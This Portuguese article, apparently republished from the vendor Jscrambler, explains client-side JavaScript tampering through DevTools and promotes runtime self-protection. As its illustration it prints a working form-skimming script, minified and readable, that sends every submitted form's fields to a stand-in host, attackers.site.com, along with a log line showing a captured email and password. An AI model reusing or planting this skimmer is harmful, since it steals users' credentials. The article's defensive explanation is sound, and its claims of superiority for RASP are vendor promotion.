A maneira mais eficiente para proteger aplicações JavaScript do lado do cliente
Existem vários recursos úteis em uma tecnologia que roda no lado do cliente, como o JavaScript. Foi isso que fez com que o JS se tornasse a linguagem de programação mais popular no mundo.
A linguagem apresenta muitas vantagens, sendo uma delas a capacidade de interpretação imediata. Isso traz benefícios, por exemplo, ele baixa o conteúdo uma vez que o navegador executa o código. Mas, usar essa linguagem tão flexível em aplicativos da web exige muita responsabilidade.
Neste artigo, nós gostaríamos de nos aprofundar nos riscos de segurança do JavaScript. Nele, falaremos apenas sobre o código front-end que é executado no navegador. Nós vamos focar em outros tipos em publicações futuras.
Imagine o que o navegador precisa fazer para executar um JavaScript. Primeiro, ele precisa baixar a página e começar a interpretar o código. O navegador não espera que tudo seja baixado. Ele tem a capacidade de baixar e interpretar a página simultaneamente. Então, o que acontece quando ele encontra algum arquivo JavaScript?
O JavaScript causa um bloqueio de renderização, e isso é uma enorme vantagem no momento da execução. Isso significa que o navegador irá parar a interpretação, executar o JavaScript primeiro, e depois prosseguir. Isso proporciona uma maior flexibilidade ao usar essa linguagem de programação e abre um leque de possibilidades.
Mas a questão é, quais são as implicações em se ter tais recursos?
Depuração e adulteração de código
Para ilustrar, imagine o seguinte trecho de código:
<div id="hack-target"></div> <button>Set Value</button> <script> document.querySelector('button').addEventListener('click', setValue); function setValue() { var value = '2'; document.getElementById('hack-target').innerText = value; } </script>
Esse código declara um target em HTML e liga aos eventos. Quando você clica o botão, o callback é acionado.
Com o JavaScript no lado do cliente, é possível configurar um breakpoint bem onde o valor é definido. Esse breakpoint é atingido conforme o evento é acionado. O valor que é configurado por meio do var value = '2';
pode ser alterado à vontade. O depurador interrompe a execução e permite a página seja alterada. Essa capacidade é eminente e o navegador não levanta qualquer suspeita enquanto isso está acontecendo.
Como o depurador interrompe a execução, ele tem o poder de interromper a renderização de uma página também. A depuração é parte do conjunto de ferramentas dentro do navegador, então qualquer pessoa tem acesso a ela. Ela faz parte das ferramentas do desenvolvedor.
Para ver essa técnica em ação, dê uma olhada no Code Pen disponível. Abaixo, temos um screenshot desse recurso:
Esse recurso é ótimo para depurar JavaScript, mas o que ele significa para a segurança?
Isso significa que uma pessoa mal intencionada pode alterar o JavaScript em tempo de execução. Ele pode atingir um breakpoint, alterar o DOM e colocar um JavaScript arbitrário no console. Esse tipo de ataque pode explorar vulnerabilidades no cliente. O invasor pode mudar os dados, sequestrar a sessão e fazer mudanças no JavaScript da página.
Com as ferramentas de desenvolvedor abertas, por exemplo, é possível ir até a aba do console e colocar:
document.querySelector('button').addEventListener('click', function () { alert('sacked'); });
Na próxima vez que o evento for acionado, ele irá disparar essa mudança no JavaScript.
Você consegue imaginar o perigo? Pense em algo que já aconteceu antes, o seu CDN é comprometido e o script jQuery
que você está incluindo na sua página é modificado, adicionando o trecho de código abaixo:
!function(){document.querySelectorAll("form").forEach(function(a){a.addEventListener("submit",function(a){var b;if(!a.target)return null;b=new FormData(a.target);var d="";for(var e of b.entries())d=d+"&"+e[0]+"="+e[1];return(new Image).src="https://attackers.site.com/?"+d.substring(1),!0})})}();
Provavelmente você não notou nenhuma modificação e basicamente a sua página vai estar distribuindo malware. Vamos olhar para a versão mais legível do mesmo trecho de código:
! function() { document.querySelectorAll("form").forEach(function(a) { a.addEventListener("submit", function(a) { var b; if (!a.target) return null; b = new FormData(a.target); var d = ""; for (var e of b.entries()) d = d + "&" + e[0] + "=" + e[1]; return (new Image).src = "https://attackers.site.com/?" + d.substring(1), !0 }) }) }();
Para cada
form
na sua página,um evento
submit
é adicionado, de modo que quando acionado,os dados do formulário são coletados e reescritos usando o formato Query String
que é então acrescentado ao novo recurso
Image
na URL fonte.
Ok, vamos tornar isso mais claro: Cada vez que um formulário é enviado, os mesmos dados são enviados para um servidor remoto (https://attackers.site.com/
), solicitando o que parece ser uma imagem. Assim, o dono do domínio attackers.site.com
receberá eu seu log:
79.251.209.237 - - [13/Mar/2017:15:26:14 +0100] "GET /?email=john.doe@somehost.com&pass=k284D5B178Ho7QA HTTP/1.1" 200 4 "https://www.your-website.com/signin" "Mozilla/5.0 (Macintosh; In tel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
Por que JavaScript?
A pergunta que você deve estar fazendo é, por que tudo isso funciona dessa forma? Quando o Netscape lançou o JavaScript em 1995, essa nova linguagem de programação se tornou a linguagem padrão da web.
O Netscape enviou seu modelo do JavaScript para a Ecma International e sua versão se tornou a padrão, mais conhecida como ECMAScript. Devido ao fato de o ECMAScript ser padronizado, qualquer navegador que suporta a linguagem deve cumprir com os padrões para que ele não cause conflitos quando o código for utilizado em outros navegadores. Isso significa que, se você escrever um script para o Google Chrome, ele também deve rodar no Opera, Netscape, Internet Explorer e Microsoft Edge. O JavaScript foi construído sob a ideia de flexibilidade. Ele tem toda a capacidade necessária para você fazer o que quiser com ele. A sua natureza dinâmica flui a partir desse princípio de design. Isso permitiu com que ele se tornasse, de fato, uma linguagem para o navegador.
Toda essa história nós já conhecemos, mas e a segurança do JavaScript?
Segurança no lado do cliente
Para proteger-se de códigos JavaScript maliciosos, a melhor opção é adicionar uma proteção de tempo de execução. A autoproteção de aplicativos de tempo de execução (em inglês, Runtime Application Self-Protection, ou RASP) protege o código do cliente durante a execução. Com a flexibilidade e dinâmica da web, vem a necessidade de segurança em tempo de execução, já que um invasor poderia alterar o código do JavaScript no lado do cliente facilmente.
O RASP é o nível de proteção mais efetivo para aplicativos do lado do cliente e pode ser resumido da seguinte forma:
A AUTOPROTEÇÃO DE APLICATIVOS EM TEMPO DE EXECUÇÃO (RASP) É UMA TECNOLOGIA DE SEGURANÇA QUE É DESENVOLVIDA OU LIGADA A UMA APLICAÇÃO OU AMBIENTE DE TEMPO DE EXECUÇÃO DE UMA APLICAÇÃO E É CAPAZ DE CONTROLAR A EXECUÇÃO DO APLICATIVO, DETECTANDO E PREVENINDO ATAQUES EM TEMPO REAL.
A JScrambler oferece uma solução RASP que protege aplicações contra ataques em tempo de execução. Ela pode tornar a aplicação autoprotegida e detectar alterações. As capacidades de autoproteção que ela oferece adicionam uma proteção ativa a aplicação JavaScript. A Jscrambler usa técnicas anti-debugging (anti depuração) e anti-tampering (anti adulteração) - conceitos de proteção de aplicações bem conhecidos, mais especificamente para a realidade e limitações do JavaScript. A anti depuração detecta o uso de ferramentas de depuração (como DevTools, Firebug) e tenta impedir a engenharia reversa de usá-las para depurar o app. Isso é feito por meio de armadilhas no código que fazem com que as ferramentas de depuração parem de funcionar e fazem a pilha de camadas crescer, impedindo o usuário de inspecionar o controle do fluxo do app. A função anti-adulteração detecta as mudanças e reage a elas. Por exemplo, se você adicionar ou remover um simples ponto e vírgula de uma função protegida, ela irá detectar essa alteração e fazer com que o código pare de funcionar. Essas técnicas juntas com a ofuscação do código fazem com que se torne inviável fazer uma alteração na aplicação.
Este artigo foi escrito originalmente pelos nossos parceiros da Jscrambler.